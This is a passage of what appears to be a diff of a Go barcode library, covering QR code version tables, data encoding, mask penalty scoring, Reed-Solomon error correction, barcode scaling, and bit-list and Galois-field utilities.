set(dim-5, 8, formatInfo[10])
set(dim-4, 8, formatInfo[11])
set(dim-3, 8, formatInfo[12])
set(dim-2, 8, formatInfo[13])
set(dim-1, 8, formatInfo[14])
}
}
var versionInfoBitsByVersion = map[byte][]bool{
7: []bool{false, false, false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false},
8: []bool{false, false, true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false},
9: []bool{false, false, true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true},
10: []bool{false, false, true, false, true, false, false, true, false, false, true, true, false, true, false, false, true, true},
11: []bool{false, false, true, false, true, true, true, false, true, true, true, true, true, true, false, true, true, false},
12: []bool{false, false, true, true, false, false, false, true, true, true, false, true, true, false, false, false, true, false},
13: []bool{false, false, true, true, false, true, true, false, false, false, false, true, false, false, false, true, true, true},
14: []bool{false, false, true, true, true, false, false, true, true, false, false, false, false, false, true, true, false, true},
15: []bool{false, false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false, false},
16: []bool{false, true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false, false},
17: []bool{false, true, false, false, false, true, false, true, false, false, false, true, false, true, true, true, false, true},
18: []bool{false, true, false, false, true, false, true, false, true, false, false, false, false, true, false, true, true, true},
19: []bool{false, true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true, false},
20: []bool{false, true, false, true, false, false, true, false, false, true, true, false, true, false, false, true, true, false},
21: []bool{false, true, false, true, false, true, false, true, true, false, true, false, false, false, false, false, true, true},
22: []bool{false, true, false, true, true, false, true, false, false, false, true, true, false, false, true, false, false, true},
23: []bool{false, true, false, true, true, true, false, true, true, true, true, true, true, false, true, true, false, false},
24: []bool{false, true, true, false, false, false, true, true, true, false, true, true, false, false, false, true, false, false},
25: []bool{false, true, true, false, false, true, false, false, false, true, true, true, true, false, false, false, false, true},
26: []bool{false, true, true, false, true, false, true, true, true, true, true, false, true, false, true, false, true, true},
27: []bool{false, true, true, false, true, true, false, false, false, false, true, false, false, false, true, true, true, false},
28: []bool{false, true, true, true, false, false, true, true, false, false, false, false, false, true, true, false, true, false},
29: []bool{false, true, true, true, false, true, false, false, true, true, false, false, true, true, true, true, true, true},
30: []bool{false, true, true, true, true, false, true, true, false, true, false, true, true, true, false, true, false, true},
31: []bool{false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false, false, false},
32: []bool{true, false, false, false, false, false, true, false, false, true, true, true, false, true, false, true, false, true},
33: []bool{true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false, false, false},
34: []bool{true, false, false, false, true, false, true, false, false, false, true, false, true, true, true, false, true, false},
35: []bool{true, false, false, false, true, true, false, true, true, true, true, false, false, true, true, true, true, true},
36: []bool{true, false, false, true, false, false, true, false, true, true, false, false, false, false, true, false, true, true},
37: []bool{true, false, false, true, false, true, false, true, false, false, false, false, true, false, true, true, true, false},
38: []bool{true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true, false, false},
39: []bool{true, false, false, true, true, true, false, true, false, true, false, true, false, false, false, false, false, true},
40: []bool{true, false, true, false, false, false, true, true, false, false, false, true, true, false, true, false, false, true},
}
func drawVersionInfo(vi *versionInfo, set func(int, int, bool)) {
versionInfoBits, ok := versionInfoBitsByVersion[vi.Version]
if ok && len(versionInfoBits) > 0 {
for i := 0; i < len(versionInfoBits); i++ {
x := (vi.modulWidth() - 11) + i%3
y := i / 3
set(x, y, versionInfoBits[len(versionInfoBits)-i-1])
set(y, x, versionInfoBits[len(versionInfoBits)-i-1])
}
}
}
func addPaddingAndTerminator(bl *utils.BitList, vi *versionInfo) {
for i := 0; i < 4 && bl.Len() < vi.totalDataBytes()*8; i++ {
bl.AddBit(false)
}
for bl.Len()%8 != 0 {
bl.AddBit(false)
}
for i := 0; bl.Len() < vi.totalDataBytes()*8; i++ {
if i%2 == 0 {
bl.AddByte(236)
} else {
bl.AddByte(17)
}
}
}
+29
View File
@@ -0,0 +1,29 @@
package qr
import (
"github.com/boombuler/barcode/utils"
)
type errorCorrection struct {
rs *utils.ReedSolomonEncoder
}
var ec = newErrorCorrection()
func newErrorCorrection() *errorCorrection {
fld := utils.NewGaloisField(285, 256, 0)
return &errorCorrection{utils.NewReedSolomonEncoder(fld)}
}
func (ec *errorCorrection) calcECC(data []byte, eccCount byte) []byte {
dataInts := make([]int, len(data))
for i := 0; i < len(data); i++ {
dataInts[i] = int(data[i])
}
res := ec.rs.Encode(dataInts, int(eccCount))
result := make([]byte, len(res))
for i := 0; i < len(res); i++ {
result[i] = byte(res[i])
}
return result
}
+56
View File
@@ -0,0 +1,56 @@
package qr
import (
"errors"
"fmt"
"strconv"
"github.com/boombuler/barcode/utils"
)
func encodeNumeric(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
contentBitCount := (len(content) / 3) * 10
switch len(content) % 3 {
case 1:
contentBitCount += 4
case 2:
contentBitCount += 7
}
vi := findSmallestVersionInfo(ecl, numericMode, contentBitCount)
if vi == nil {
return nil, nil, errors.New("To much data to encode")
}
res := new(utils.BitList)
res.AddBits(int(numericMode), 4)
res.AddBits(len(content), vi.charCountBits(numericMode))
for pos := 0; pos < len(content); pos += 3 {
var curStr string
if pos+3 <= len(content) {
curStr = content[pos : pos+3]
} else {
curStr = content[pos:]
}
i, err := strconv.Atoi(curStr)
if err != nil || i < 0 {
return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, Numeric)
}
var bitCnt byte
switch len(curStr) % 3 {
case 0:
bitCnt = 10
case 1:
bitCnt = 4
break
case 2:
bitCnt = 7
break
}
res.AddBits(i, bitCnt)
}
addPaddingAndTerminator(res, vi)
return res, vi, nil
}
+166
View File
@@ -0,0 +1,166 @@
package qr
import (
"image"
"image/color"
"math"
"github.com/boombuler/barcode"
"github.com/boombuler/barcode/utils"
)
type qrcode struct {
dimension int
data *utils.BitList
content string
}
func (qr *qrcode) Content() string {
return qr.content
}
func (qr *qrcode) Metadata() barcode.Metadata {
return barcode.Metadata{barcode.TypeQR, 2}
}
func (qr *qrcode) ColorModel() color.Model {
return color.Gray16Model
}
func (qr *qrcode) Bounds() image.Rectangle {
return image.Rect(0, 0, qr.dimension, qr.dimension)
}
func (qr *qrcode) At(x, y int) color.Color {
if qr.Get(x, y) {
return color.Black
}
return color.White
}
func (qr *qrcode) Get(x, y int) bool {
return qr.data.GetBit(x*qr.dimension + y)
}
func (qr *qrcode) Set(x, y int, val bool) {
qr.data.SetBit(x*qr.dimension+y, val)
}
func (qr *qrcode) calcPenalty() uint {
return qr.calcPenaltyRule1() + qr.calcPenaltyRule2() + qr.calcPenaltyRule3() + qr.calcPenaltyRule4()
}
func (qr *qrcode) calcPenaltyRule1() uint {
var result uint
for x := 0; x < qr.dimension; x++ {
checkForX := false
var cntX uint
checkForY := false
var cntY uint
for y := 0; y < qr.dimension; y++ {
if qr.Get(x, y) == checkForX {
cntX++
} else {
checkForX = !checkForX
if cntX >= 5 {
result += cntX - 2
}
cntX = 1
}
if qr.Get(y, x) == checkForY {
cntY++
} else {
checkForY = !checkForY
if cntY >= 5 {
result += cntY - 2
}
cntY = 1
}
}
if cntX >= 5 {
result += cntX - 2
}
if cntY >= 5 {
result += cntY - 2
}
}
return result
}
func (qr *qrcode) calcPenaltyRule2() uint {
var result uint
for x := 0; x < qr.dimension-1; x++ {
for y := 0; y < qr.dimension-1; y++ {
check := qr.Get(x, y)
if qr.Get(x, y+1) == check && qr.Get(x+1, y) == check && qr.Get(x+1, y+1) == check {
result += 3
}
}
}
return result
}
func (qr *qrcode) calcPenaltyRule3() uint {
pattern1 := []bool{true, false, true, true, true, false, true, false, false, false, false}
pattern2 := []bool{false, false, false, false, true, false, true, true, true, false, true}
var result uint
for x := 0; x <= qr.dimension-len(pattern1); x++ {
for y := 0; y < qr.dimension; y++ {
pattern1XFound := true
pattern2XFound := true
pattern1YFound := true
pattern2YFound := true
for i := 0; i < len(pattern1); i++ {
iv := qr.Get(x+i, y)
if iv != pattern1[i] {
pattern1XFound = false
}
if iv != pattern2[i] {
pattern2XFound = false
}
iv = qr.Get(y, x+i)
if iv != pattern1[i] {
pattern1YFound = false
}
if iv != pattern2[i] {
pattern2YFound = false
}
}
if pattern1XFound || pattern2XFound {
result += 40
}
if pattern1YFound || pattern2YFound {
result += 40
}
}
}
return result
}
func (qr *qrcode) calcPenaltyRule4() uint {
totalNum := qr.data.Len()
trueCnt := 0
for i := 0; i < totalNum; i++ {
if qr.data.GetBit(i) {
trueCnt++
}
}
percDark := float64(trueCnt) * 100 / float64(totalNum)
floor := math.Abs(math.Floor(percDark/5) - 10)
ceil := math.Abs(math.Ceil(percDark/5) - 10)
return uint(math.Min(floor, ceil) * 10)
}
func newBarcode(dim int) *qrcode {
res := new(qrcode)
res.dimension = dim
res.data = utils.NewBitList(dim * dim)
return res
}
+27
View File
@@ -0,0 +1,27 @@
package qr
import (
"errors"
"github.com/boombuler/barcode/utils"
)
func encodeUnicode(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
data := []byte(content)
vi := findSmallestVersionInfo(ecl, byteMode, len(data)*8)
if vi == nil {
return nil, nil, errors.New("To much data to encode")
}
// It's not correct to add the unicode bytes to the result directly but most readers can't handle the
// required ECI header...
res := new(utils.BitList)
res.AddBits(int(byteMode), 4)
res.AddBits(len(content), vi.charCountBits(byteMode))
for _, b := range data {
res.AddByte(b)
}
addPaddingAndTerminator(res, vi)
return res, vi, nil
}
+310
View File
@@ -0,0 +1,310 @@
package qr
import "math"
// ErrorCorrectionLevel indicates the amount of "backup data" stored in the QR code
type ErrorCorrectionLevel byte
const (
// L recovers 7% of data
L ErrorCorrectionLevel = iota
// M recovers 15% of data
M
// Q recovers 25% of data
Q
// H recovers 30% of data
H
)
func (ecl ErrorCorrectionLevel) String() string {
switch ecl {
case L:
return "L"
case M:
return "M"
case Q:
return "Q"
case H:
return "H"
}
return "unknown"
}
type encodingMode byte
const (
numericMode encodingMode = 1
alphaNumericMode encodingMode = 2
byteMode encodingMode = 4
kanjiMode encodingMode = 8
)
type versionInfo struct {
Version byte
Level ErrorCorrectionLevel
ErrorCorrectionCodewordsPerBlock byte
NumberOfBlocksInGroup1 byte
DataCodeWordsPerBlockInGroup1 byte
NumberOfBlocksInGroup2 byte
DataCodeWordsPerBlockInGroup2 byte
}
var versionInfos = []*versionInfo{
&versionInfo{1, L, 7, 1, 19, 0, 0},
&versionInfo{1, M, 10, 1, 16, 0, 0},
&versionInfo{1, Q, 13, 1, 13, 0, 0},
&versionInfo{1, H, 17, 1, 9, 0, 0},
&versionInfo{2, L, 10, 1, 34, 0, 0},
&versionInfo{2, M, 16, 1, 28, 0, 0},
&versionInfo{2, Q, 22, 1, 22, 0, 0},
&versionInfo{2, H, 28, 1, 16, 0, 0},
&versionInfo{3, L, 15, 1, 55, 0, 0},
&versionInfo{3, M, 26, 1, 44, 0, 0},
&versionInfo{3, Q, 18, 2, 17, 0, 0},
&versionInfo{3, H, 22, 2, 13, 0, 0},
&versionInfo{4, L, 20, 1, 80, 0, 0},
&versionInfo{4, M, 18, 2, 32, 0, 0},
&versionInfo{4, Q, 26, 2, 24, 0, 0},
&versionInfo{4, H, 16, 4, 9, 0, 0},
&versionInfo{5, L, 26, 1, 108, 0, 0},
&versionInfo{5, M, 24, 2, 43, 0, 0},
&versionInfo{5, Q, 18, 2, 15, 2, 16},
&versionInfo{5, H, 22, 2, 11, 2, 12},
&versionInfo{6, L, 18, 2, 68, 0, 0},
&versionInfo{6, M, 16, 4, 27, 0, 0},
&versionInfo{6, Q, 24, 4, 19, 0, 0},
&versionInfo{6, H, 28, 4, 15, 0, 0},
&versionInfo{7, L, 20, 2, 78, 0, 0},
&versionInfo{7, M, 18, 4, 31, 0, 0},
&versionInfo{7, Q, 18, 2, 14, 4, 15},
&versionInfo{7, H, 26, 4, 13, 1, 14},
&versionInfo{8, L, 24, 2, 97, 0, 0},
&versionInfo{8, M, 22, 2, 38, 2, 39},
&versionInfo{8, Q, 22, 4, 18, 2, 19},
&versionInfo{8, H, 26, 4, 14, 2, 15},
&versionInfo{9, L, 30, 2, 116, 0, 0},
&versionInfo{9, M, 22, 3, 36, 2, 37},
&versionInfo{9, Q, 20, 4, 16, 4, 17},
&versionInfo{9, H, 24, 4, 12, 4, 13},
&versionInfo{10, L, 18, 2, 68, 2, 69},
&versionInfo{10, M, 26, 4, 43, 1, 44},
&versionInfo{10, Q, 24, 6, 19, 2, 20},
&versionInfo{10, H, 28, 6, 15, 2, 16},
&versionInfo{11, L, 20, 4, 81, 0, 0},
&versionInfo{11, M, 30, 1, 50, 4, 51},
&versionInfo{11, Q, 28, 4, 22, 4, 23},
&versionInfo{11, H, 24, 3, 12, 8, 13},
&versionInfo{12, L, 24, 2, 92, 2, 93},
&versionInfo{12, M, 22, 6, 36, 2, 37},
&versionInfo{12, Q, 26, 4, 20, 6, 21},
&versionInfo{12, H, 28, 7, 14, 4, 15},
&versionInfo{13, L, 26, 4, 107, 0, 0},
&versionInfo{13, M, 22, 8, 37, 1, 38},
&versionInfo{13, Q, 24, 8, 20, 4, 21},
&versionInfo{13, H, 22, 12, 11, 4, 12},
&versionInfo{14, L, 30, 3, 115, 1, 116},
&versionInfo{14, M, 24, 4, 40, 5, 41},
&versionInfo{14, Q, 20, 11, 16, 5, 17},
&versionInfo{14, H, 24, 11, 12, 5, 13},
&versionInfo{15, L, 22, 5, 87, 1, 88},
&versionInfo{15, M, 24, 5, 41, 5, 42},
&versionInfo{15, Q, 30, 5, 24, 7, 25},
&versionInfo{15, H, 24, 11, 12, 7, 13},
&versionInfo{16, L, 24, 5, 98, 1, 99},
&versionInfo{16, M, 28, 7, 45, 3, 46},
&versionInfo{16, Q, 24, 15, 19, 2, 20},
&versionInfo{16, H, 30, 3, 15, 13, 16},
&versionInfo{17, L, 28, 1, 107, 5, 108},
&versionInfo{17, M, 28, 10, 46, 1, 47},
&versionInfo{17, Q, 28, 1, 22, 15, 23},
&versionInfo{17, H, 28, 2, 14, 17, 15},
&versionInfo{18, L, 30, 5, 120, 1, 121},
&versionInfo{18, M, 26, 9, 43, 4, 44},
&versionInfo{18, Q, 28, 17, 22, 1, 23},
&versionInfo{18, H, 28, 2, 14, 19, 15},
&versionInfo{19, L, 28, 3, 113, 4, 114},
&versionInfo{19, M, 26, 3, 44, 11, 45},
&versionInfo{19, Q, 26, 17, 21, 4, 22},
&versionInfo{19, H, 26, 9, 13, 16, 14},
&versionInfo{20, L, 28, 3, 107, 5, 108},
&versionInfo{20, M, 26, 3, 41, 13, 42},
&versionInfo{20, Q, 30, 15, 24, 5, 25},
&versionInfo{20, H, 28, 15, 15, 10, 16},
&versionInfo{21, L, 28, 4, 116, 4, 117},
&versionInfo{21, M, 26, 17, 42, 0, 0},
&versionInfo{21, Q, 28, 17, 22, 6, 23},
&versionInfo{21, H, 30, 19, 16, 6, 17},
&versionInfo{22, L, 28, 2, 111, 7, 112},
&versionInfo{22, M, 28, 17, 46, 0, 0},
&versionInfo{22, Q, 30, 7, 24, 16, 25},
&versionInfo{22, H, 24, 34, 13, 0, 0},
&versionInfo{23, L, 30, 4, 121, 5, 122},
&versionInfo{23, M, 28, 4, 47, 14, 48},
&versionInfo{23, Q, 30, 11, 24, 14, 25},
&versionInfo{23, H, 30, 16, 15, 14, 16},
&versionInfo{24, L, 30, 6, 117, 4, 118},
&versionInfo{24, M, 28, 6, 45, 14, 46},
&versionInfo{24, Q, 30, 11, 24, 16, 25},
&versionInfo{24, H, 30, 30, 16, 2, 17},
&versionInfo{25, L, 26, 8, 106, 4, 107},
&versionInfo{25, M, 28, 8, 47, 13, 48},
&versionInfo{25, Q, 30, 7, 24, 22, 25},
&versionInfo{25, H, 30, 22, 15, 13, 16},
&versionInfo{26, L, 28, 10, 114, 2, 115},
&versionInfo{26, M, 28, 19, 46, 4, 47},
&versionInfo{26, Q, 28, 28, 22, 6, 23},
&versionInfo{26, H, 30, 33, 16, 4, 17},
&versionInfo{27, L, 30, 8, 122, 4, 123},
&versionInfo{27, M, 28, 22, 45, 3, 46},
&versionInfo{27, Q, 30, 8, 23, 26, 24},
&versionInfo{27, H, 30, 12, 15, 28, 16},
&versionInfo{28, L, 30, 3, 117, 10, 118},
&versionInfo{28, M, 28, 3, 45, 23, 46},
&versionInfo{28, Q, 30, 4, 24, 31, 25},
&versionInfo{28, H, 30, 11, 15, 31, 16},
&versionInfo{29, L, 30, 7, 116, 7, 117},
&versionInfo{29, M, 28, 21, 45, 7, 46},
&versionInfo{29, Q, 30, 1, 23, 37, 24},
&versionInfo{29, H, 30, 19, 15, 26, 16},
&versionInfo{30, L, 30, 5, 115, 10, 116},
&versionInfo{30, M, 28, 19, 47, 10, 48},
&versionInfo{30, Q, 30, 15, 24, 25, 25},
&versionInfo{30, H, 30, 23, 15, 25, 16},
&versionInfo{31, L, 30, 13, 115, 3, 116},
&versionInfo{31, M, 28, 2, 46, 29, 47},
&versionInfo{31, Q, 30, 42, 24, 1, 25},
&versionInfo{31, H, 30, 23, 15, 28, 16},
&versionInfo{32, L, 30, 17, 115, 0, 0},
&versionInfo{32, M, 28, 10, 46, 23, 47},
&versionInfo{32, Q, 30, 10, 24, 35, 25},
&versionInfo{32, H, 30, 19, 15, 35, 16},
&versionInfo{33, L, 30, 17, 115, 1, 116},
&versionInfo{33, M, 28, 14, 46, 21, 47},
&versionInfo{33, Q, 30, 29, 24, 19, 25},
&versionInfo{33, H, 30, 11, 15, 46, 16},
&versionInfo{34, L, 30, 13, 115, 6, 116},
&versionInfo{34, M, 28, 14, 46, 23, 47},
&versionInfo{34, Q, 30, 44, 24, 7, 25},
&versionInfo{34, H, 30, 59, 16, 1, 17},
&versionInfo{35, L, 30, 12, 121, 7, 122},
&versionInfo{35, M, 28, 12, 47, 26, 48},
&versionInfo{35, Q, 30, 39, 24, 14, 25},
&versionInfo{35, H, 30, 22, 15, 41, 16},
&versionInfo{36, L, 30, 6, 121, 14, 122},
&versionInfo{36, M, 28, 6, 47, 34, 48},
&versionInfo{36, Q, 30, 46, 24, 10, 25},
&versionInfo{36, H, 30, 2, 15, 64, 16},
&versionInfo{37, L, 30, 17, 122, 4, 123},
&versionInfo{37, M, 28, 29, 46, 14, 47},
&versionInfo{37, Q, 30, 49, 24, 10, 25},
&versionInfo{37, H, 30, 24, 15, 46, 16},
&versionInfo{38, L, 30, 4, 122, 18, 123},
&versionInfo{38, M, 28, 13, 46, 32, 47},
&versionInfo{38, Q, 30, 48, 24, 14, 25},
&versionInfo{38, H, 30, 42, 15, 32, 16},
&versionInfo{39, L, 30, 20, 117, 4, 118},
&versionInfo{39, M, 28, 40, 47, 7, 48},
&versionInfo{39, Q, 30, 43, 24, 22, 25},
&versionInfo{39, H, 30, 10, 15, 67, 16},
&versionInfo{40, L, 30, 19, 118, 6, 119},
&versionInfo{40, M, 28, 18, 47, 31, 48},
&versionInfo{40, Q, 30, 34, 24, 34, 25},
&versionInfo{40, H, 30, 20, 15, 61, 16},
}
func (vi *versionInfo) totalDataBytes() int {
g1Data := int(vi.NumberOfBlocksInGroup1) * int(vi.DataCodeWordsPerBlockInGroup1)
g2Data := int(vi.NumberOfBlocksInGroup2) * int(vi.DataCodeWordsPerBlockInGroup2)
return (g1Data + g2Data)
}
func (vi *versionInfo) charCountBits(m encodingMode) byte {
switch m {
case numericMode:
if vi.Version < 10 {
return 10
} else if vi.Version < 27 {
return 12
}
return 14
case alphaNumericMode:
if vi.Version < 10 {
return 9
} else if vi.Version < 27 {
return 11
}
return 13
case byteMode:
if vi.Version < 10 {
return 8
}
return 16
case kanjiMode:
if vi.Version < 10 {
return 8
} else if vi.Version < 27 {
return 10
}
return 12
default:
return 0
}
}
func (vi *versionInfo) modulWidth() int {
return ((int(vi.Version) - 1) * 4) + 21
}
func (vi *versionInfo) alignmentPatternPlacements() []int {
if vi.Version == 1 {
return make([]int, 0)
}
first := 6
last := vi.modulWidth() - 7
space := float64(last - first)
count := int(math.Ceil(space/28)) + 1
result := make([]int, count)
result[0] = first
result[len(result)-1] = last
if count > 2 {
step := int(math.Ceil(float64(last-first) / float64(count-1)))
if step%2 == 1 {
frac := float64(last-first) / float64(count-1)
_, x := math.Modf(frac)
if x >= 0.5 {
frac = math.Ceil(frac)
} else {
frac = math.Floor(frac)
}
if int(frac)%2 == 0 {
step--
} else {
step++
}
}
for i := 1; i <= count-2; i++ {
result[i] = last - (step * (count - 1 - i))
}
}
return result
}
func findSmallestVersionInfo(ecl ErrorCorrectionLevel, mode encodingMode, dataBits int) *versionInfo {
dataBits = dataBits + 4 // mode indicator
for _, vi := range versionInfos {
if vi.Level == ecl {
if (vi.totalDataBytes() * 8) >= (dataBits + int(vi.charCountBits(mode))) {
return vi
}
}
}
return nil
}
+134
View File
@@ -0,0 +1,134 @@
package barcode
import (
"errors"
"fmt"
"image"
"image/color"
"math"
)
type wrapFunc func(x, y int) color.Color
type scaledBarcode struct {
wrapped Barcode
wrapperFunc wrapFunc
rect image.Rectangle
}
type intCSscaledBC struct {
scaledBarcode
}
func (bc *scaledBarcode) Content() string {
return bc.wrapped.Content()
}
func (bc *scaledBarcode) Metadata() Metadata {
return bc.wrapped.Metadata()
}
func (bc *scaledBarcode) ColorModel() color.Model {
return bc.wrapped.ColorModel()
}
func (bc *scaledBarcode) Bounds() image.Rectangle {
return bc.rect
}
func (bc *scaledBarcode) At(x, y int) color.Color {
return bc.wrapperFunc(x, y)
}
func (bc *intCSscaledBC) CheckSum() int {
if cs, ok := bc.wrapped.(BarcodeIntCS); ok {
return cs.CheckSum()
}
return 0
}
// Scale returns a resized barcode with the given width and height.
func Scale(bc Barcode, width, height int) (Barcode, error) {
switch bc.Metadata().Dimensions {
case 1:
return scale1DCode(bc, width, height)
case 2:
return scale2DCode(bc, width, height)
}
return nil, errors.New("unsupported barcode format")
}
func newScaledBC(wrapped Barcode, wrapperFunc wrapFunc, rect image.Rectangle) Barcode {
result := &scaledBarcode{
wrapped: wrapped,
wrapperFunc: wrapperFunc,
rect: rect,
}
if _, ok := wrapped.(BarcodeIntCS); ok {
return &intCSscaledBC{*result}
}
return result
}
func scale2DCode(bc Barcode, width, height int) (Barcode, error) {
orgBounds := bc.Bounds()
orgWidth := orgBounds.Max.X - orgBounds.Min.X
orgHeight := orgBounds.Max.Y - orgBounds.Min.Y
factor := int(math.Min(float64(width)/float64(orgWidth), float64(height)/float64(orgHeight)))
if factor <= 0 {
return nil, fmt.Errorf("can not scale barcode to an image smaller than %dx%d", orgWidth, orgHeight)
}
offsetX := (width - (orgWidth * factor)) / 2
offsetY := (height - (orgHeight * factor)) / 2
wrap := func(x, y int) color.Color {
if x < offsetX || y < offsetY {
return color.White
}
x = (x - offsetX) / factor
y = (y - offsetY) / factor
if x >= orgWidth || y >= orgHeight {
return color.White
}
return bc.At(x, y)
}
return newScaledBC(
bc,
wrap,
image.Rect(0, 0, width, height),
), nil
}
func scale1DCode(bc Barcode, width, height int) (Barcode, error) {
orgBounds := bc.Bounds()
orgWidth := orgBounds.Max.X - orgBounds.Min.X
factor := int(float64(width) / float64(orgWidth))
if factor <= 0 {
return nil, fmt.Errorf("can not scale barcode to an image smaller than %dx1", orgWidth)
}
offsetX := (width - (orgWidth * factor)) / 2
wrap := func(x, y int) color.Color {
if x < offsetX {
return color.White
}
x = (x - offsetX) / factor
if x >= orgWidth {
return color.White
}
return bc.At(x, 0)
}
return newScaledBC(
bc,
wrap,
image.Rect(0, 0, width, height),
), nil
}
+57
View File
@@ -0,0 +1,57 @@
// Package utils contain some utilities which are needed to create barcodes
package utils
import (
"image"
"image/color"
"github.com/boombuler/barcode"
)
type base1DCode struct {
*BitList
kind string
content string
}
type base1DCodeIntCS struct {
base1DCode
checksum int
}
func (c *base1DCode) Content() string {
return c.content
}
func (c *base1DCode) Metadata() barcode.Metadata {
return barcode.Metadata{c.kind, 1}
}
func (c *base1DCode) ColorModel() color.Model {
return color.Gray16Model
}
func (c *base1DCode) Bounds() image.Rectangle {
return image.Rect(0, 0, c.Len(), 1)
}
func (c *base1DCode) At(x, y int) color.Color {
if c.GetBit(x) {
return color.Black
}
return color.White
}
func (c *base1DCodeIntCS) CheckSum() int {
return c.checksum
}
// New1DCodeIntCheckSum creates a new 1D barcode where the bars are represented by the bits in the bars BitList
func New1DCodeIntCheckSum(codeKind, content string, bars *BitList, checksum int) barcode.BarcodeIntCS {
return &base1DCodeIntCS{base1DCode{bars, codeKind, content}, checksum}
}
// New1DCode creates a new 1D barcode where the bars are represented by the bits in the bars BitList
func New1DCode(codeKind, content string, bars *BitList) barcode.Barcode {
return &base1DCode{bars, codeKind, content}
}
+119
View File
@@ -0,0 +1,119 @@
package utils
// BitList is a list that contains bits
type BitList struct {
count int
data []int32
}
// NewBitList returns a new BitList with the given length
// all bits are initialize with false
func NewBitList(capacity int) *BitList {
bl := new(BitList)
bl.count = capacity
x := 0
if capacity%32 != 0 {
x = 1
}
bl.data = make([]int32, capacity/32+x)
return bl
}
// Len returns the number of contained bits
func (bl *BitList) Len() int {
return bl.count
}
func (bl *BitList) grow() {
growBy := len(bl.data)
if growBy < 128 {
growBy = 128
} else if growBy >= 1024 {
growBy = 1024
}
nd := make([]int32, len(bl.data)+growBy)
copy(nd, bl.data)
bl.data = nd
}
// AddBit appends the given bits to the end of the list
func (bl *BitList) AddBit(bits ...bool) {
for _, bit := range bits {
itmIndex := bl.count / 32
for itmIndex >= len(bl.data) {
bl.grow()
}
bl.SetBit(bl.count, bit)
bl.count++
}
}
// SetBit sets the bit at the given index to the given value
func (bl *BitList) SetBit(index int, value bool) {
itmIndex := index / 32
itmBitShift := 31 - (index % 32)
if value {
bl.data[itmIndex] = bl.data[itmIndex] | 1<<uint(itmBitShift)
} else {
bl.data[itmIndex] = bl.data[itmIndex] & ^(1 << uint(itmBitShift))
}
}
// GetBit returns the bit at the given index
func (bl *BitList) GetBit(index int) bool {
itmIndex := index / 32
itmBitShift := 31 - (index % 32)
return ((bl.data[itmIndex] >> uint(itmBitShift)) & 1) == 1
}
// AddByte appends all 8 bits of the given byte to the end of the list
func (bl *BitList) AddByte(b byte) {
for i := 7; i >= 0; i-- {
bl.AddBit(((b >> uint(i)) & 1) == 1)
}
}
// AddBits appends the last (LSB) 'count' bits of 'b' the the end of the list
func (bl *BitList) AddBits(b int, count byte) {
for i := int(count) - 1; i >= 0; i-- {
bl.AddBit(((b >> uint(i)) & 1) == 1)
}
}
// GetBytes returns all bits of the BitList as a []byte
func (bl *BitList) GetBytes() []byte {
len := bl.count >> 3
if (bl.count % 8) != 0 {
len++
}
result := make([]byte, len)
for i := 0; i < len; i++ {
shift := (3 - (i % 4)) * 8
result[i] = (byte)((bl.data[i/4] >> uint(shift)) & 0xFF)
}
return result
}
// IterateBytes iterates through all bytes contained in the BitList
func (bl *BitList) IterateBytes() <-chan byte {
res := make(chan byte)
go func() {
c := bl.count
shift := 24
i := 0
for c > 0 {
res <- byte((bl.data[i] >> uint(shift)) & 0xFF)
shift -= 8
if shift < 0 {
shift = 24
i++
}
c -= 8
}
close(res)
}()
return res
}
+65
View File
@@ -0,0 +1,65 @@
package utils
// GaloisField encapsulates galois field arithmetics
type GaloisField struct {
Size int
Base int
ALogTbl []int
LogTbl []int
}
// NewGaloisField creates a new galois field
func NewGaloisField(pp, fieldSize, b int) *GaloisField {
result := new(GaloisField)
result.Size = fieldSize
result.Base = b
result.ALogTbl = make([]int, fieldSize)
result.LogTbl = make([]int, fieldSize)
x := 1
for i := 0; i < fieldSize; i++ {
result.ALogTbl[i] = x
x = x * 2
if x >= fieldSize {
x = (x ^ pp) & (fieldSize - 1)
}
}
for i := 0; i < fieldSize; i++ {
result.LogTbl[result.ALogTbl[i]] = int(i)
}
return result
}
func (gf *GaloisField) Zero() *GFPoly {
return NewGFPoly(gf, []int{0})
}
// AddOrSub add or substract two numbers
func (gf *GaloisField) AddOrSub(a, b int) int {
return a ^ b
}
// Multiply multiplys two numbers
func (gf *GaloisField) Multiply(a, b int) int {
if a == 0 || b == 0 {
return 0
}
return gf.ALogTbl[(gf.LogTbl[a]+gf.LogTbl[b])%(gf.Size-1)]
}
// Divide divides two numbers
func (gf *GaloisField) Divide(a, b int) int {
if b == 0 {
panic("divide by zero")
} else if a == 0 {
return 0
}
return gf.ALogTbl[(gf.LogTbl[a]-gf.LogTbl[b])%(gf.Size-1)]
}
func (gf *GaloisField) Invers(num int) int {
return gf.ALogTbl[(gf.Size-1)-gf.LogTbl[num]]
}
+103
View File
@@ -0,0 +1,103 @@
package utils
type GFPoly struct {
gf *GaloisField
Coefficients []int
}
func (gp *GFPoly) Degree() int {
return len(gp.Coefficients) - 1
}
func (gp *GFPoly) Zero() bool {
return gp.Coefficients[0] == 0
}
// GetCoefficient returns the coefficient of x ^ degree
func (gp *GFPoly) GetCoefficient(degree int) int {
return gp.Coefficients[gp.Degree()-degree]
}
func (gp *GFPoly) AddOrSubstract(other *GFPoly) *GFPoly {
if gp.Zero() {
return other
} else if other.Zero() {
return gp
}
smallCoeff := gp.Coefficients
largeCoeff := other.Coefficients
if len(smallCoeff) > len(largeCoeff) {
largeCoeff, smallCoeff = smallCoeff, largeCoeff
}
sumDiff := make([]int, len(largeCoeff))
lenDiff := len(largeCoeff) - len(smallCoeff)
copy(sumDiff, largeCoeff[:lenDiff])
for i := lenDiff; i < len(largeCoeff); i++ {
sumDiff[i] = int(gp.gf.AddOrSub(int(smallCoeff[i-lenDiff]), int(largeCoeff[i])))
}
return NewGFPoly(gp.gf, sumDiff)
}
func (gp *GFPoly) MultByMonominal(degree int, coeff int) *GFPoly {
if coeff == 0 {
return gp.gf.Zero()
}
size := len(gp.Coefficients)
result := make([]int, size+degree)
